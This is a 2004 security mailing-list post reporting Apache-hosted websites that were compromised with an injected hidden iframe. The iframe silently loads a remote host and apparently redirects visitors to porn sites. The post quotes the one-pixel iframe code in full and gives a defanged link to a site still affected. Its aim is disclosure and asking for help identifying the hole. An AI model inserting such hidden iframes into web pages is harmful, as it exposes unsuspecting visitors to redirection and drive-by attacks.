full-disclosure - browser hijack by apache sites

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Message-ID: <200405231519.30970.filbert@pandora.be>
From: filbert at pandora.be (Filbert)
Subject: browser hijack by apache sites

Hi,

This is the second time this weekend that I've been warned of an apache site 
on a Linux server were a line of code was added to redirect browsers to  porn 
sites.
First was the site of a Belgian political party. Second came today, and as of 
writing this it's still there. The admin was informed so it can be gone soon.

hxxp://www.previsit.com/carrefour/nl/ <- hxxp must changed to http
IE users do NOT click.

the code added at the bottom is:

<iframe SRC="http://www.b00gle.com/fa/?d=get" WIDTH=1 
HEIGHT=1></iframe></body>

anyone seen this before? What vulnerability is exploited here? FP?

Thx,
Filb.

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